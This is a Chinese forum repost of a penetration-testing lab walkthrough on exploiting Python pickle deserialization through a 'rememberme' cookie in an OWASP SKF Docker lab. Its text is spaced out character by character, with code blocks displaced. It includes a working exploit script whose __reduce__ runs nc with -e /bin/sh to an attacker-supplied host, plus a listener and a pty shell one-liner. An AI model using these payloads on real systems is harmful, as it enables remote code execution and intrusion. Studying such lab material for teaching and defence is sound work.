搜索

[390] 2021-05-18_Python序列化

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2021-05-18_Python序列化 P y t h o n 序 列 化 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 1 - 0 5 - 1 8 收 录 于 话 题   # 渗 透 测 试   , 1 4 个 引 子 引 子 前 些 日 子 ， 忘 记 从 哪 下 了 一 个 P P T ， 一 直 没 看 ， 想 着 很 久 没 有 更 新 公 众 号 了 ， 也 不 知 道 更 新 点 什 么 ， 正 好 ， 拿 来 翻 译 总 结 一 下 。 环 境 准 备 环 境 准 备 环 境 可 以 使 用 本 地 的 虚 拟 机 ， 也 可 以 使 用 V P S ， 这 里 使 用 v u l t r 新 建 一 个 u b u n t u 1 8 . 0 4 机 器 ， 安 装 下 d o c k e r 和 d o c k e r - c o m p o s e 。 安 装 d o c k e r 相 关 命 令 ： 使 用 d o c k e r 拉 取 靶 机 环 境 并 运 行 ： 随 后 访 问 机 器 的 5 0 0 0 端 口 即 可 ： c u r l   - f s S L   h t t p s : / / g e t . d o c k e r . c o m   |   b a s h   - s   d o c k e r   - - m i r r o r   A l i y u n d o c k e r   p u l l   b l a b l a 1 3 3 7 / o w a s p - s k f - l a b : d e s - p i c k l e - 2 d o c k e r   r u n   - - r m   - t i   - p   5 0 0 0 : 5 0 0 0   b l a b l a 1 3 3 7 / o w a s p - s k f - l a b : d e s - p i c k l e - 2
测 试 测 试 注 册 账 号 ， 数 据 包 如 下 ： 使 用 刚 刚 注 册 的 账 号 密 码 进 行 登 录 ， 勾 选 记 住 我 ， 数 据 包 如 下 ：
登 录 后 ， 观 察 到 C o o k i e 值 中 包 含 了 r e m e m b e r m e 字 段 ： 当 我 们 退 出 ， 不 输 入 账 号 密 码 的 情 况 下 进 行 登 录 ， r e m e m b e r m e 存 在 ， 且 可 以 成 功 访 问 到 系 统 主 页 ： 那 也 就 意 味 着 r e m e m b e r m e 包 含 了 我 们 的 个 人 敏 感 信 息 ， 该 信 息 可 用 于 身 份 认 证 ， 对 值 进 行 解 码 ， 为 b a s e 6 4 ：
大 概 可 以 看 出 有 一 个 类 似 于 _ m a i n _ 函 数 的 东 西 ， u s e r n a m e 是 t e s t ， p a s s w o r d 是 t e s t ， 那 么 后 端 对 r e m e m b e r m e 处 理 时 很 可 能 使 用 了 反 序 列 化 的 操 作 来 获 取 的 相 关 信 息 。 _ m a i n _ 属 于 p y t h o n 语 法 ， 使 用 w h a t w e b 进 行 程 序 相 关 技 术 的 检 测 ： 可 知 程 序 使 用 了 p y t h o n 3 ， 接 下 来 的 利 用 思 路 就 是 构 造 p y t h o n 3 的 序 列 化 代 码 替 换 r e m e m b e r m e ， 来 进 行 反 序 列 化 达 到 命 令 执 行 的 目 的 。 通 常 查 找 反 序 列 时 ， 都 有 源 码 参 考 ， 来 构 造 可 执 行 命 令 的 序 列 化 对 象 ， 这 里 我 们 需 要 获 取 类 名 、 方 法 名 、 字 段 名 等 ， 才 可 构 造 。 首 先 ， 获 取 类 名 ， 以 下 代 码 作 用 为 解 码 r e m e m b e r m e 值 ， 然 后 使 用 p i c k l e 获 取 c l a s s 名 称 ， p i c k l e . d u m p 用 来 序 列 化 对 象 ， p i c k l e 。 l o a d 用 来 进 行 反 序 列 化 ： 运 行 后 报 错 ， 但 是 类 名 实 际 上 已 经 输 出 了 ， 为 u s r ， 发 现 就 是 我 们 上 面 b a s e 6 4 解 码 后 的 内 容 ： 有 了 类 名 ， 就 可 以 继 续 尝 试 获 取 方 法 名 ， 使 用 d i r 来 获 取 对 象 的 属 性 列 表 ： i m p o r t   p i c k l e ,   b a s e 6 4 r e m e m b e r m e   =   i n p u t ( " r e m e m b e r m e =   " ) s e r i a l d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( r e m e m b e r m e ) d e s e r i a l d a t a   =   p i c k l e . l o a d s ( s e r i a l d a t a ) p r i n t ( d e s r i a l d a t a . _ _ c l a s s _ _ ) i m p o r t   p i c k l e ,   b a s e 6 4
运 行 上 面 脚 本 ， 发 现 除 了 自 带 的 一 些 魔 术 方 法 外 ， 有 一 个 p a s s w o r d 和 u s e r n a m e 属 性 ： 简 单 修 改 下 脚 本 ， 打 印 下 p a s s w o r d 和 u s e r n a m e 的 值 ： 得 到 用 户 名 和 密 码 都 为 t e s t ， 上 面 的 这 些 操 作 在 我 们 之 前 b a s e 6 4 解 码 时 大 概 就 能 看 出 一 些 信 息 ， 不 过 我 们 这 里 需 要 使 用 程 序 确 认 一 下 。 确 认 了 r e m e m b e r m e 会 进 行 反 序 列 化 ， 也 确 认 了 类 名 、 方 法 名 、 字 段 值 ， 下 面 写 e x p ， 相 关 代 码 如 下 ： 思 路 ： 定 义 一 个 对 象 ， 对 象 包 含 了 r e d u c e 魔 术 方 法 ， 该 方 法 在 对 象 被 p i c k l e 时 会 被 调 用 ， 常 用 来 自 定 义 错 误 ， 这 里 我 们 把 要 执 行 的 命 令 放 进 去 ， 然 后 进 行 序 列 化 和 b a s e 6 4 编 码 。 i m p o r t   p i c k l e ,   b a s e 6 4 c l a s s   u s r ( o b j e c t ) :         p a s s d e s e r i a l d a t a   =   u s r ( ) r e m e m b e r m e   =   i n p u t ( " r e m e m b e r m e =   " ) s e r i a l d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( r e m e m b e r m e ) d e s e r i a l d a t a   =   p i c k l e . l o a d s ( s e r i a l d a t a ) p r i n t ( d i r ( d e s e r i a l d a t a ) ) i m p o r t   p i c k l e ,   b a s e 6 4 c l a s s   u s r ( o b j e c t ) :         p a s s d e s e r i a l d a t a   =   u s r ( ) r e m e m b e r m e   =   i n p u t ( " r e m e m b e r m e =   " ) s e r i a l d a t a   =   b a s e 6 4 . b 6 4 d e c o d e ( r e m e m b e r m e ) d e s e r i a l d a t a   =   p i c k l e . l o a d s ( s e r i a l d a t a ) p r i n t ( d e s e r i a l d a t a . u s e r n a m e ) p r i n t ( d e s e r i a l d a t a . p a s s w o r d ) i m p o r t   p i c k l e ,   b a s e 6 4 , o s l h o s t = i n p u t ( " L H O S T :   " ) l p o r t = i n p u t ( " L P O R T :   " ) c l a s s   p a y l o a d ( o b j e c t ) :
运 行 如 下 ， 反 序 列 化 后 会 执 行 n c ， 连 接 指 定 的 I P 和 端 口 ： 在 相 应 的 机 器 上 同 样 使 用 n c 来 监 听 ： 刷 新 页 面 抓 取 数 据 包 ， 替 换 r e m e m b e r m e ： 可 以 成 功 获 取 到 连 接 ： 为 了 方 便 查 看 和 美 观 ， 执 行 p y t h o n 命 令 调 用 b a s h ：         d e f   _ _ r e d u c e _ _ ( s e l f ) :                 r e t u r n   ( o s . s y s t e m , ( f " n c   - n v   { l h o s t }   { l p o r t }   - e   / b i n / s h " , ) ) d e s e r i a l p a y l o a d   =   p a y l o a d ( ) s e r i a l p a y l o a d   =   p i c k l e . d u m p s ( d e s e r i a l p a y l o a d ) r e m e m b e r m e   =   b a s e 6 4 . b 6 4 e n c o d e ( s e r i a l p a y l o a d ) p r i n t ( r e m e m b e r m e ) n c   - l v p   4 4 4 4
总 结 总 结 其 实 也 没 啥 可 总 结 的 ， 就 是 多 学 习 漏 洞 、 多 学 习 原 理 、 多 练 习 代 码 ， 大 概 就 是 这 样 。 p y t h o n 3   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / b a s h " ) '
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理